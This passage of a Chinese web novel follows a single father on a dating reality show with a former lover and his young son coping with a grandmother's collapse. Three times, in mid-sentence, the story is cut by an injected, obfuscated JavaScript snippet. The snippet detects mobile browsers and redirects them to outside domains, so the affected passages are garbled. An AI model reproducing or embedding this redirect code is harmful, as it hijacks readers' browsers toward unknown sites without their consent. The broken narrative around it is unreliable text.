这种时候当然不能说自己是为了钱才来上节目的。靳若飞干瘪地笑笑,绞尽脑汁挤出个借口:“以前,我总担心这个、担心那个,现在大家都知道了,我也没什么好遮掩的了。节目组邀请我,正好我也想跟别人多接触一下……就寻思着来试一试,万一运气好呢?” “唔,你能这么想就是好的。”安固言一副装模作样的赞同样儿,随即悄悄侧身过去,在他耳旁小声说:“我的运气就挺好。你要不要多跟我待在一起,蹭一蹭运气?” 一听这话,靳若飞深吸一口气,落荒而逃:“那个什么……我才想起我脸忘了洗,先失陪了!” 他跑得好快,即使吊着一只手也健步如飞,没一会儿就窜进了屋子。安固言笑吟吟地看着他狼狈背影,半晌到那棵木绣球树下,心不在焉地摸了摸正在盛开的蓝色绣球花:“还是跟以前一样,跑那么快。” . 靳若飞这一去当然没有再回来。 他在房间的落地窗边偷偷地往花园里瞅呢,见安固言悠荡了没几分钟,就被早起的于一帆逮住了,拽着他的衣袖在树下攀谈起来。又过了十几分钟,其他嘉宾陆续起床。估摸着安固言已经无暇再顾及自己,他这才悄无声息地走下楼,混入人群之中。 今日节目组安排的活动是去海边赶海。每人带上几样工具,去抓螃蟹、挖蛤蜊和青口,再各自做一盘“海鲜大餐”。吃完之后相□□分,优胜的人可以获得一项特别的“奖励”。 “奖励?什么奖励呀!”制作组刚公布完任务,就有人迫不及待地问了这么一句。导演拿着喇叭道:“暂时保密!总之大家加油,优胜者的奖品很诱人哦!” 有了导演的诱惑,一群人摩拳擦掌,斗志昂扬,跃跃欲试地选好装备,准备到海滩上大显身手。 靳若飞挑了一顶鸭舌帽、一把长长的小铲子、一个小桶,穿上防晒衣。临出门前他想一想,又去厨房的橱柜里拿了一包食用盐。 准备齐全,大家就乘坐明黄色的观光车前往码头那边的海滩。黄希文看见他桶里的食用盐,不禁诧异地笑出声:“你拿盐干嘛呀?” 这一声引得全车的人都望过来,笑声响成一片:“靳若飞,你不会是想挖到海鲜之后,就地做熟了吃吧!” 被臊得面颊有些红,靳若飞无奈地笑笑,不想跟这些养尊处优的演员们解释,只说:“到时候你们就知道了。” “不要逞强呀!”于一帆坐在最前排,半个身体靠在安固言的胳膊上,促狭地朝他挤了挤眼。 靳若飞不再回应,只是朝着远处的海面抬起头,任海风和阳光扑在自己脸上。 . 观光车在码头边上停下来,一行人陆续下车。安固言什么也没带,就带了一把撬刀,小皮绳儿挂在手指上转啊转。看见码头边上的移动咖啡车,他隔着几米的距离,给靳若飞使了个意味深长的眼神。 这人还记着啊! 头疼地叹口气,靳若飞只得暂时脱离大部队,认命地走到咖啡车前面,点了9杯饮料。十五分钟后,待他用一只手艰难地拎着饮料来到海滩上时,大家伙已经热火朝天地开始挖了。 “安哥,我捡到一只螺!这是什么螺呀!”于一帆用小铲子铲着一只鸡蛋大的螺,高声嚷嚷。 安固言瞟一眼,不紧不慢地答:“那个好像是猫眼螺……”话音未落,他看见靳若飞拎着一堆饮料走过来,眼睛立刻一亮,大步走上前接过一半:“小飞给咱们买饮料了!” 下一秒,他低下头,朝靳若飞露出了一个斤斤计较的笑容:“小飞,你投机取巧喽~”声音非常轻,除了他俩之外,没有任何人听见。 靳若飞装作什么也不知道,自顾自把饮料分给冲过来的人:“这杯有冰的,这一杯的冰比较少……” 走到白姿君面前,靳若飞见她面色苍白,蹲在一块大石头旁费力地撕扯着上边被晒干的紫菜,忍不住道:“要不你去休息吧?喏,这是红枣桂圆奶茶,我没让加冰。你坐到崖下边休息一会儿,那里不晒。” 白姿君戴着个宽檐帽,费力地抬起头望他,眼睛眯成一条缝:“但是我紫菜还没扯够,中午做饭怎么办?” “你这些完全足够了,做一盆紫菜蛋花汤绰绰有余。”不常下厨的人对食材的用量是不了解的,靳若飞见她袋子里已经装了好几条紫菜干,立即把她搀扶起来,送到了崖下的阴影中去。 安固言好奇地跟过来,见他对白姿君如此熟稔,不由诧异:“你俩什么时候熟悉起来的?” 白姿君接过奶茶,靠在岩壁上喝一大口,终于感觉活了过来,长叹一口气道:“昨天晚上……我睡不着,下楼见他给工作人员炒了一锅什锦蛋炒饭。那个炒饭太香了,就问他要了一碗吃。” “小飞的厨艺确实很好。”意味深长地评价一句,安固言挑眉望向靳若飞,笑得老神在在。靳若飞不敢搭他的话,默默地压低了鸭嘴帽,开始在海滩上寻找海货。 作为经常带儿子赶海的人,靳若飞可谓是十分熟练。他先去石缝里寻找青口贝和蛤蜊,踩着沙子大胆地往石头上爬,单手保持平衡的模样吓得大家连连惊叫:“你小心点儿!别摔下来!” 安固言更是飞奔上前,和他一起爬上石头,想要拉住他的手:“你爬上来要找什么?” 靳若飞回头“嗯?”一声,见他穿着运动鞋,立即轰他回去:“我找青口贝……你没有穿水鞋,别爬上来!待会儿摔倒了。” 说话间,他已经找到一处青口丛生的石缝,稳稳当当地爬下去,开始用小铲子撬那些密密麻麻的贝壳。安固言惊叹一声,爬到他对面,又抬头招呼摄影师:“快过来拍,好多青口贝啊!” 他像个打了胜仗的将军似的,帮靳若飞展示这些战利品。靳若飞则低调地蹲在一旁,手起铲落,一大丛一大丛地往下撬青口贝。 礁石上附着的青口贝很多,不一会儿就装满了小桶。他用手掂量掂量:“好像有七八斤了,可以煮两个菜。” 此时安固言十分体贴地搀住他的胳膊,把人扶起来,小心翼翼地踩着礁石往沙滩上走。好几个摄像机直勾勾地对着他们,靳若飞忍不住缩一下肩膀,半晌,轻轻地把手臂抽了出来。 “我自己可以走。”他尴尬地说。 安固言笑笑,没说什么。 两人走回沙滩上,于一帆站在阴影之中喝着咖啡,似笑非笑地睨着靳若飞道:“飞哥真是厉害呀!不单眼神好,也很懂得展示自己的特长呢。难怪当年能把娱乐圈暴君收于麾下。” 靳若飞垂着头从她身边经过,只当做没听见,自顾自地从白姿君那儿借个塑料袋,把挖到的青口贝都倒了进去。 安固言倒是眉毛一挑,凑过去跟于一帆说了一句话:“……你这是在吃醋么?” 于一帆的小脸顿时飞红,气急败坏地往他胳膊上扇了几掌。 单单青口贝是肯定不够十个人吃的。靳若飞又不紧不慢地掏出那包食用盐,在沙滩上缓慢寻找着,一边找一边跺脚。 黄希文和白姿君看得不解,凑过来问:“你在干嘛呀?” “找蛏子。”靳若飞说。 话音刚落,他就注意到沙滩某处出现了一个小洞。立即蹲下身,他用铲子飞快地将湿沙挖开,露出一个沁着水的小沙洞,随即急切地道:“快!往洞里洒盐!” 黄希文“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197845|165678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊?”一声,没反应过来。白姿君倒是相当机敏,迅速抄起盐袋一洒,雪白的盐粒很快被不断上涌的海水融化。不一会儿,一个蛏子就从洞里蛄蛹了出来,像个被咸水涩到嘴的小怪物似的,不断“呸、呸”地蠕动着。 见状,黄希文和白姿君都开心地“啊”一声尖叫,快乐地把蛏子捡起来,丢进了小桶里。直到这时,其他人才终于明白,这个人带盐是为了做什么的。 “你怪有经验的啊!”看见白姿君开心地贴在靳若飞身旁,贺安东说话的语气不禁酸溜溜的。靳若飞只当听不懂,有话答话:“……我家小孩喜欢赶海,平常只要有空,我就会带他来海边玩。” “哦~”第一次听他提起孩子,大家讳莫如深地相互对视一眼,脸上露出了八卦的神情。 . 11点多回到别墅,这些疏于锻炼的艺人们都累坏了,一个个生无可恋地横在沙发上,完全没了做饭的力气。 靳若飞倒是神采奕奕的,跟安固言提着海货走进厨房里,有条不紊地开始处理今天挖到的青口贝和蛏子。 先用水加盐把贝类泡上,再把白姿君找到的紫菜干泡进温水里。他伤了一只手,所以只能自己口述方法,由安固言来处理:“你先用钢丝球把青口贝刷干净,再把边上的足丝扯掉;蛏子有点复杂,得用剪刀把它剪开,挖去肠子里的泥沙……” “怎么剪?是对半剪,还是只剪一侧?”安固言不大明白,左手攥着一个蛏子摆到他面前,意思让他示范一下。 靳若飞不疑有他,右手抄起厨房剪刀靠过去,叮嘱道:“你拿稳了,别打滑……” 剪刀刚贴到蛏子壳的边缘,他便感觉到一只手搭上了自己的右肩膀——安固言不知什么时候把他环在了怀抱里,以一个暧昧的姿势搂着他。 右手不禁一抖,只把蛏子剪破了一点点壳。靳若飞全身都窜起了鸡皮疙瘩,忙不迭往右侧一步,压低声音紧张道:“你干嘛——上个节目而已,不需要这样吧?” “你也知道我们在上节目啊?”安固言却变本加厉,右手撑在案台边上,阻断了他逃跑的路:“配合剧本嘛,你看你慌成这样,还说想当演员呢。” “……是剧本吗?”身型一滞,靳若飞不敢再动,小声问:“那我怎么没有拿到剧本呢?” 安固言嘴边噙着一个忍俊不禁的笑容,声音却很正直:“节目组料到你会这么大惊小怪的,所以就不给你了,由我来掌控节奏。我还劝他们来着,说好歹要让你知情——可你看看你这个表现,僵硬得跟木头人似的。自然一点儿嘛,不然别人以为我胁迫你了呢!” 虽然还是有些怀疑,但靳若飞注意到四周的摄像机,只得硬着头皮忍了下来。勉强集中注意力,他抿着唇,为难地用剪刀剪开了安固言手里的蛏子。 两人之间的距离太近了,他老感觉后脑勺痒痒的,被呼吸一下下吹拂着。像极了以前两人亲密之后,安顾言趴在他肩膀上抽烟的情景。 匆忙洗去蛏子里的泥沙,靳若飞不敢再停留,丢下一句“就这样把其他蛏子处理好就行!” 落荒而逃。 安固言笑眯眯地目送他跑出去,甚至阴魂不散地从门口探出半个身子:“待会儿你教我做菜啊!我可是很想赢的。” “……知道了!”楼上传来靳若飞头疼的声音,就像一只小狗被逼到绝境,发出了懊丧而委屈的叫声。 . 这一天的午饭,桌上只有可怜巴巴的五个菜。所幸在座的都是艺人,节食惯了,这些量对他们来说刚刚好。 靳若飞教白姿君做了一个紫菜蛋花汤,又教安顾言做了一个奶油青口贝意面,自己做的则是最简单的白灼蛏子,不抢他们的风头。 果不其然,安顾言的奶油青口贝意面获得了大家的一致好评。在最后的评选环节里,他以七票的绝对优势获得了当之无愧的第一名。 宣读完结果之后,大家都迫不及待地朝导演嚷嚷起来:“奖励是什么呀?导演!你说很有吸引力的!” “大家安静点儿听我说——”导演止住他们的起哄,随即慢吞吞地拉长了声音道:“优胜者可以挑选一位嘉宾,今晚一起去岛上的西餐厅共享美酒和大餐!” “哇——”期待的视线不由汇聚在安固言身上,不止omega,连贺安东和蔺梦澄等alpha都开始对他搔首弄姿:“安哥,选我吧,我想跟你去吃大餐~” 安固言笑眯眯地靠在椅背上,一副从容神情,好像已经有了明确的选择。在众目睽睽之下,他不疾不徐地抬起胳膊,慢慢点向坐在桌子的最远端、正缩头缩脑的靳若飞:“——我选他。” 其他嘉宾顿时哄然。靳若飞被吓得猛抬起头,露出了哭笑不得的求饶表情。 16. 意外 在靳若飞被安固言紧追不舍时,靳宇潇小朋友正在宋清许家里惬意地喝着养乐多,津津有味地跟奶奶在阳台看花儿。 今天秦丽君要去医院检查身体,顺便拿药,所以潇潇是由宋奶奶亲自去公寓接回家的。在车上时,潇潇说:“奶奶心脏不好……做过支架,每天都要吃药。” 宋清许摸摸他滑溜溜的头发,轻声道:“这样呀?好巧,我也要天天吃药。” “宋奶奶是哪里不舒服?”扭头望向她,潇潇的神情十分认真,似乎准备仔细地记下来。宋清许略觉诧异,下意识说了实话:“我呀,我有高血压,平常要吃降压药。人年纪大了就容易出毛病,所以潇潇以后要好好锻炼、增强体质,明白吗?” “我跟奶奶一起锻炼。”小孩子的关心十分真挚,那瞬间,宋清许只感觉自己心里软融融的,“哎哟”一声把他拥进怀中:“潇潇真乖!……哎,你爸爸小时候怎么没你这么贴心呢?” 虽然潇潇唤邢再洺作“伯伯”,但这一刻,他知道奶奶说的“爸爸”并不是指靳若飞。安静的眼眸不禁活泛起来,小家伙跟宋清许一起慢慢爬上楼,好奇地问:“爸爸他……他小时候是怎么样的?” “他呀,从小就是我行我素的,跟他爹一样,特别自我的一个人。”走进家门,宋清许先去看了一眼电磁炉上炖着的羊肉。见汁水还有一些,便盖上盖子,带着潇潇走到阳台侍弄花草: “我喜欢养花,以前家里的花园都是我自己打理的。那园子200多平,我弄得累,有时候忍不住跟他抱怨。他从来不说帮我,就斜个眼睛,说你自作自受!我爸要雇园丁你又不让,这不是活该么?……把我给气得!” 乖巧地把松土的小铲子递给奶奶,潇潇踮着脚丫好奇地打量她的操作,并问:“奶奶,这个白色颗粒是什么?” “这是复合肥,是肥料。就像人要吃饭一样,植物也要吃肥料,这样才长得好。” “肥料……”暗暗记在心里,潇潇琢磨着回去让奶奶带自己去买点儿肥料,好给家里的薄荷吃。 祖孙二人就这么其乐融融地站在花丛之间,吹着风、聊着天,尽享天伦之乐。宋清许蹲下身,准备剪一点薄荷做羊肉的蘸碟。这时,空气中飘来一阵淡淡的焦糊味儿…… “啊!羊肉!”惊呼一声,宋清许猛站起身,飞快地朝厨房奔去。潇潇茫然地跟着走进屋,没过几秒,他就看见奶奶扶着案台轻轻一晃,软绵绵地倒到了地上。 “奶奶!”小家伙顿时吓得魂飞魄散,尖叫着扑了过去。 . 接到妈妈的电话时,邢再洺正要吃午饭。 天气热吃不下东西,他看着桌上过于丰盛的午餐,胃里是一点食欲也没有。 挑挑拣拣地刚吃了一筷子沙拉,手机就响了。拿出来一看,见是妈妈。以为这个老太太又要炫耀她和孙子的快乐生活,邢再洺无奈地接起来,听见的却是潇潇强忍着哭腔的慌乱声音。 “邢伯伯,奶奶在厨房里昏倒了,你快过来吧……” 邢再洺猛地站起身,震惊了足足一秒才回过神来,下意识问:“还有心跳和呼吸吗?!” “有,有……”潇潇哽咽地回答他,“我打120了,也把对面的爷爷叫过来了,但是奶奶还没醒……” 有呼吸和心跳,那大概率是高血压引起的暂时晕厥。邢再洺稍稍松一口气,又问:“你跟120说了奶奶家的具体地址吗?” “说了……XX大学家属区06栋4楼01号房,我背过的。” 终于放心一些,邢再洺松了一口气,紧绷的语调和缓下来:“好,那你在家等着救护车,有什么不懂的就问对门爷爷,我马上过去!” “邢伯伯!”潇潇着急地喊住他,“万一救护车先到了怎么办?” “你问清楚他们是哪个医院的,我会再打电话给你,你拿好奶奶的手机!” “好,好……”听着他强作镇定的稚嫩声音,邢再洺不敢怠慢,火速出了门。 . 救护车的速度很快,邢再洺刚到半路,就又接到了潇潇的电话:“邢伯伯,我们在赶往第二人民医院……” “你也上车了吗?”听见他背景里医生的声音,邢再洺略有些吃惊,“等等,你怎么打开奶奶的手机的?” “我用奶奶的手指摁的。”也许有医生护士帮忙的缘故,现在潇潇冷静了些,只不过仍不时吸鼻子。这一刻,即使挑剔如邢再洺,也不得不佩服他的沉稳与机智:“……好,那你就乖乖地跟着医生护士,不要乱跑,我马上就到。” 半个钟后,当邢再洺终于赶到医院时,潇潇孤零零地坐在内科门诊外的不锈钢椅子上,脸上的泪痕都已经干了。 狂奔上前,小小的孩子呆呆地坐在那儿,一开始都没认出戴着口罩的他。邢再洺唤他的名字:“潇潇,你奶奶在哪里?” 小家伙的眼珠子这才恍惚地颤动起来:“邢伯伯……”他嘴角失控地瘪一下,小手想抓住邢再洺的衣服,但又忍住了,呜咽道:“他们送奶奶去做脑袋的检查了。在车上的时候奶奶醒过来了,不过只醒了一会会儿,说不出话。” 说话之间,护士推着病床把宋清许送了回来。邢再洺一眼看见病床上的妈妈,赶忙上前询问:“护士!检查的结果怎么样?” “你是患者的子女吗?”他长得高大,双眼又分外慑人,护士忍不住上下打量他:“刚才做了ct,脑子里没有出血,应该只是高血压造成的晕倒。我们准备给她喂一点降压药,观察一下有没有好转——你打算接回家护理,还是办理住院?” “先办理住院吧!”邢再洺果断地答。 “好,那你去办住院手续,我们这边先给您妈妈喂一片药。” 转身正要离开,又看见身后亦步亦趋、满脸无措的潇潇,邢再洺只好叮嘱他:“别乱跑,你陪着奶奶,知道吗?” 眼珠彷徨地颤一下,小家伙的小手紧紧揪在一起,缓缓住了脚:“……好。” 待一切手续办好,又是半个钟过去了。 赶到急诊室的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15197846|165678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观察病房,邢再洺走进去,见潇潇眼泪嗒嗒地趴在床边,而床上的宋清许已经醒了过来。 看见儿子,宋女士半垂着眼帘,虚弱地道:“就这么大点事儿,你帮我办什么住院呀,我下午就能回去了……” “回什么回?”邢再洺忍不住瞪妈妈一眼,埋怨道:“我早说让你过来跟我住,再不就请个保姆,你偏不要!你看看现在,突然晕倒在家里不说,还把潇潇吓成这样!你这样算是对自己负责吗?” 看一眼孙子哭成小花猫的脸,宋清许自知理亏,不再争辩。邢再洺又道:“还好这一次不严重,不然你让潇潇怎么办?他才四岁,你不考虑自己,也要考虑他吧!” 心疼地摸一摸孙子的脸,宋清许道:“潇潇,没事啊,奶奶就是忘了吃药,不小心晕倒而已……你还没吃午饭吧,饿不饿?” “没事,奶奶,我不饿……”大概是饿过劲儿了,潇潇揉揉肚子,没感觉饥饿。倒是精神放松之后,另一种感觉开始占据上风:“我……我想上厕所。” 用手机点好外卖,邢再洺看向他泪痕交错的尴尬小脸,和忸怩的站姿,没说什么,一伸手把小家伙抱进了怀里:“你先休息着,我带他去上厕所,很快回来。” 大步朝走廊尽头的卫生间走去,邢再洺搂着潇潇紧绷的小身体,不由自主地从肺叶里发出了一声悠长而深邃的叹息——这么小的孩子,在面对这样惊险的突发事件时,他是以一种怎样的毅力遏制住自己的害怕和惊慌,强撑着处理险情的呢? 来到卫生间,潇潇吸吸鼻子,安静地从他怀中滑下来,自己到隔间里方便。上完厕所,他又乖乖地走到洗水池前面,踮着脚尖挤洗手液、自己洗手。 他那么瘦、那么小,刚才孤零零坐在走廊上的样子,简直像一只被抛弃的小狗。邢再洺忍不住用水打湿手掌,蹲下身把他拉到怀里,给他擦拭脸上的脏污:“急救电话是谁教你打的?” “是……是我爸爸。”无措地与邢伯伯对视着,潇潇有些眼巴巴的,好像十分珍视与他亲近的时刻。 邢再洺又问:“你怎么记得奶奶家的地址呢?” “每次爸爸带我来,都会顺便教我认楼栋的号码,和门牌号……”脑袋被搓得东倒西歪,皮肤有些痛,但潇潇不舍得低下头,兀自把脸扬高了,凑到邢伯伯面前。 半晌,邢再洺帮他清理干净,单臂一捞,又把他抱进了怀里。小家伙跟一只幼猴似的,整个人软软地靠在他肩膀上,呼吸怯生生地变得急促。邢再洺下意识用另一只手覆盖住他的脊背,轻轻拍了一拍:“特别棒……你做得很好。” 听到这句夸赞,小孩子细瘦的身体在他怀里微微一颤,就像强忍的委屈突然得到赦免,终于可以肆意发泄。潇潇紧紧揪着他的衣服,压着声音哭了起来……仿佛一只无助的小兽,终于回到了父母身边。 这一刻,邢再洺感觉自己的心被钝钝地划开,又塞了什么沉甸甸的东西进去。他不由自主地搂紧怀中这具颤抖的小身体,无师自通地在他背上轻轻抚了两下。 17.单独的约会 远在星屿岛的靳若飞不知道儿子经历了这样惊险的时刻,还在头疼着怎么应付今晚的“约会”呢——他没带正式的衣服。因为觉得自己不会被邀请吃饭,所以只带了些方便穿脱的休闲服。 下午午觉一睡醒,工作人员就来敲房门了,催他好好打扮,准备去岛屿另一侧的餐厅赴约。 靳若飞顿时一个头两个大,傻望着行李箱里清一色的T恤和牛仔裤犯愁。最后他心一横,想着反正只是“综艺情侣”而已,节目结束后就分道扬镳了,不用那么在意。于是穿上牛仔裤和被压出不少皱纹的短袖T恤,硬着头皮出了门。 太阳已渐渐西沉,阳光显示出淡淡的疲态,暖暖的一片金色洒在草坡上。节目组本来准备了自行车,但靳若飞左手不方便,只能穿过半个小岛,步行三公里走向悬崖边上的白色西餐厅。 越到夜晚,海风便越大,靳若飞吹着风,望着远处的悬崖和海平面,心里是久违的平静。他突然感觉到参加综艺的好处——拍摄轻松、风景宜人,收入也颇为可观。难怪那么多艺人都愿意上综艺呢。 不由放慢了脚步,他不疾不徐地沿着步道横穿整个小岛,半个钟后终于走到那幢洁白美丽的建筑前。安固言身着白色衬衫、黑色西裤,手里捧着一束白中透粉的百合,已经在露台上等候多时。 靳若飞猛地停住了脚步。 被他这动作逗得笑出声来,安固言招招手,道:“干嘛,我是洪水猛兽吗?快过来。” 硬着头皮走上台阶,靳若飞倒也给面子,接过了那束花,没话找话:“……这岛上还有花卖啊?” “我让城里花店送到码头,又托了工作人员乘船去拿过来的。”自顾自揽住他的背,将人引到桌前坐下,安固言打量着他躲闪的双眼,忽然道:“你还是跟以前一样,不喜欢出风头,躲我就跟老鼠躲猫似的。” 听到这句话,摄影师敏锐地将镜头推近一些,给了安固言一个大特写。他深情的桃花眼非常适合做这种怅惘而温柔的表情,仿佛面对失而复得的恋人,故作平静,却又情不自禁。 ……但靳若飞却感觉全身的鸡皮疙瘩快要起来了。 “我不是不喜欢出风头……”他艰难地分辩道,“我本来也没什么风头可以出啊!以前我是替身演员、是小艺人,现在呢,是臭名昭著的投机分子——我怎么知道你对我是什么看法?” “我昨晚写给你的信还不足以表达我的态度吗?”安固言歪着头问。 靳若飞被问住了,一时间张口结舌的,说不出话来。此时服务生送来菜单,安固言绅士地推到他面前,道:“先点菜吧。你知道我喜欢吃什么的,随便点四五道就行。” 靳若飞只得听话地点菜。安固言的饮食控制得很严格,基本不吃碳水,所以他点了冰镇海鲜、鞑靼牛肉、普罗旺斯炖菜、海鲜汤和香煎龙利鱼,再配一杯冰美式,自己则点了杯卡布奇诺。 安固言专注地看着他的选择,忽而笑了起来:“你还是跟以前一样,‘吃了不认账’,都不用担心长胖。” “……这是我唯一的长处了。”把菜单递给服务生,靳若飞瞥见桌上那束百合花,总觉得它过于显眼,于是忍不住把它朝桌边推了一推,仿佛要推到自己的视野之外。安固言注意到这个小动作,又笑了笑,问:“你是不是经历过一次失败,就不敢再尝试了?” 我本来就没想过尝试。靳若飞这样想。但在恋爱综艺上说这种话有点可笑,他只得道:“不是不敢尝试,是没想到……” “没想到我会给你写信?”安固言眼底露出一丝狡黠。 “……嗯。”不敢看他,靳若飞垂眼注视着桌布上的铃兰花图案,表情难掩局促。安固言注视着他薄薄的眼皮,上挑的眼角带着淡淡的红色,睫毛纤长、不算浓密,更显得青莽而不安。这一刻,他不禁蠢动地挑一下眉,笑容中多了一丝意味深长:“没事,我会让你慢慢感受到我的诚意的。” 不多时,菜上来了。靳若飞的手不方便,安固言就帮他把牛排切成小块,再把盘子推回去,温柔而体贴。他没有继续逼问感情方面的事,而是换了个方向,从靳若飞石膏上的图画入手,提起关于孩子的话题:“我以前真没想到,原来你不是‘爸爸’,你是‘妈妈’——生育后刚复出的那段时间,很辛苦吧?” 这是制作组对他千叮咛万嘱咐,一定要问出来的问题,安固言自己也是十分好奇。 靳若飞咀嚼的动作停顿一秒,神色有些不自在,语焉不详道:“再辛苦也要工作啊,钱又不会从天上掉下来。” “这是他画的吧?”手指自然而然地摸上石膏,安固言的指腹在图案上流连着,那动作和气氛仿佛抚摸在他的皮肤上。靳若飞莫名打了一个冷战,耳根不受控制地涨红:“昂,是他画的……” “说起来,去年我俩一起拍了半年戏,却没有跟他见过面。你说,他会不会喜欢我呢?”安固言眼帘一挑,视线里透着狎昵。靳若飞“呵呵”干笑一声,终于想起自己还要配合“剧本”,干巴巴地答:“应该会吧……” 见状,安固言适时接一句:“以后见了面就知道了~” 靳若飞招架不住,只能仓促地点点头,把脸埋了下去。 . 用餐过后,二人沿着草坪中央的步道慢慢散步回去,身后跟着摄影师、灯光师和一众工作人员。 晚上八点,夜色深深,步道上的灯带映照着两个人的背影,影影绰绰的。安固言与靳若飞并肩走着,衣服猎猎,被夜风吹得鼓了起来。两人都是瘦高的身形,看上去十分养眼。副导演一边打呵欠一边跟编剧组嘀咕:“挺般配的……就是可惜,靳若飞太害羞了。” “没事,安哥老油条,他会主动的。”编剧安慰她。 果不其然,下一秒,众人就看见走在前方五米的安固言十分自然地伸出手,拉住了靳若飞垂在身侧的手掌。 靳若飞一惊,下意识想抽出手,但立刻被安固言攥紧了,歪过脑袋低语:“别动,就这样聊聊天嘛。” 靳若飞没吭声,但身体好似镇定了下来,顺从地被他牵着。就在摄制组期待着这两人能发挥出一些激动人心的对话时,无线麦克风里却传来了安固言强忍着笑意的声音:“咱们把麦克风关了,说些悄悄话……” “啊?”靳若飞发出了诧异而无措的低叫,“这样……不好吧?” “有些话我不想让他们听见。来,我帮你关掉——” 下一秒,两人的麦克风都被关掉了,耳机里变成一片空白。甚至不止如此——安固言突然拉着靳若飞的手奔出步道,跳进没膝高的草地里,朝着远处的海崖飞奔而去! 副导演惊呆了,猛地取下耳机,呆望着那两个跑远的背影。其他人亦是手足无措地呆立着,面面相觑。半晌,众人无不崩溃地大叫起来:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15203500|165678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么这样啊——” . 迎着夜风跑进未知的黑暗里,靳若飞感觉自己像一只风筝,几乎要被吹到了半空中。 安固言紧紧地拉着他,一边跑一边大笑。明明是三十一岁的老油条,这一刻却像个二十一岁的年轻人似的,不计后果地做一切随心所欲的事。 一路跑出制作组的视线范围之外,跑到海崖旁边。迎着月光下波光粼粼的海绵,安固言终于慢慢停下,喘着气止住笑声,道:“这下终于没人监视咱们了。” 靳若飞也气喘吁吁的,右手被他拽得太久,手掌热乎乎直发烫。他抽出手,撑住岔气的肚子,一边疾喘一边担忧地道:“我们……跑这么远,又,又把麦关了,制作组……该怎么办啊?” “管他们怎么办呢。”安固言满不在乎地说。 他倚到崖边的护栏上,长喘一口气,呼吸终于平缓下来,笑容又变得慵懒自得:“被他们盯着,你总不自在。我想跟你好好聊会儿天,可不就得把你带远点儿吗?” 看见安固言那耐人寻味的眼神,靳若飞刚放松一些,又不由把心提了起来:“在……在他们面前不能说吗?”高瘦的beta顾左右而言他。 “能吗?”安固言眉毛一挑:“能说我们约过炮的事吗?” ……靳若飞崩溃地捂住了脸。 “安哥,我求你了,以前的事是我欠考虑,你就当没发生过,好吗?”他哭笑不得的,不敢看安固言,整个人惭愧得抬不起头。 安固言笑着把他的手拽下来,手指若有若无地在掌心里打圈,意味深长道:“怎么,一朝被蛇咬,十年怕井绳了?被邢影帝吓过一次,你就准备去当清心寡欲的苦行僧?” “不是……”靳若飞不知道怎么解释:“现在哪好再那么随心所欲?有人盯着,感觉怪怪的……” “哟,咱们小飞也有偶像包袱了?”安固言笑着与他十指相扣——这是他事后惯用的调情手段。靳若飞僵硬一瞬,并没有配合,默默地把手抽了回来:“这叫什么偶像包袱,这是坏事传千里之后的谨言慎行吧?” 一句话把安固言逗笑了。他知道这个Beta一向很有自知之明的,但有时候过于自知,以至于变成了妄自菲薄。 不过,就是这样一个很有分寸的人,怎么会选择偷偷生下邢再洺的孩子呢? 这是安固言非常好奇的事情。 没有旁敲侧击,也没有循循善诱,他开门见山地问:“你是喜欢邢再洺吗?” 靳若飞偏开脸,看不清表情,只有白皙的皮肤被明朗的月光照得幽幽发蓝:“……年纪小不懂事而已。” 看来是真的喜欢。 好奇心不由更甚,安固言静静端详着靳若飞,再次惊异于这名Beta的专一。他很难相信,这人被自己半真半假地撩了将近半年,甚至上过三次床,心里却还惦记着那个好几年没见面的alpha——这样痴情的人,实在是前所未见。 ……啧,我差在哪里呢?安固言在夜风中眯起了眼。 “走吧,今天先回去。不然制作组的人该着急了。” 十分自然地拉起靳若飞的手,安固言不再询问他感情的事,兀自牵着人踩进茂密的草丛里,不疾不徐地往别墅走。星幕低垂,夜虫嘶鸣,靳若飞失神地望着头顶上深沉的夜色,而脚下是柔软的草叶……他忽地垂下眼帘,露出了一个自嘲的笑容。 18.你说谁没爸呢?! 晚上十一点,惦记着今天给制作组造成了不必要的麻烦,靳若飞从床上爬起来,准备再去给他们做个夜宵……顺便看看能不能讨回手机,跟潇潇说两句话。 正辛苦加班的工作人员见他下楼,一个个眼睛发亮,满脸希冀:“飞哥!飞哥又来犒劳我们了!” 靳若飞不好意思地笑笑,歉意地点了点头:“晚上给你们添麻烦了,不好意思。我看看冰箱里还有什么,给你们做点儿夜宵吧。” “好好好好!”大家自然是举双手赞成。 今天打开冰箱,里面依旧有一大锅剩米饭(?)其他食材也莫名多了不少,琳琅满目的,仿佛特意补充过。 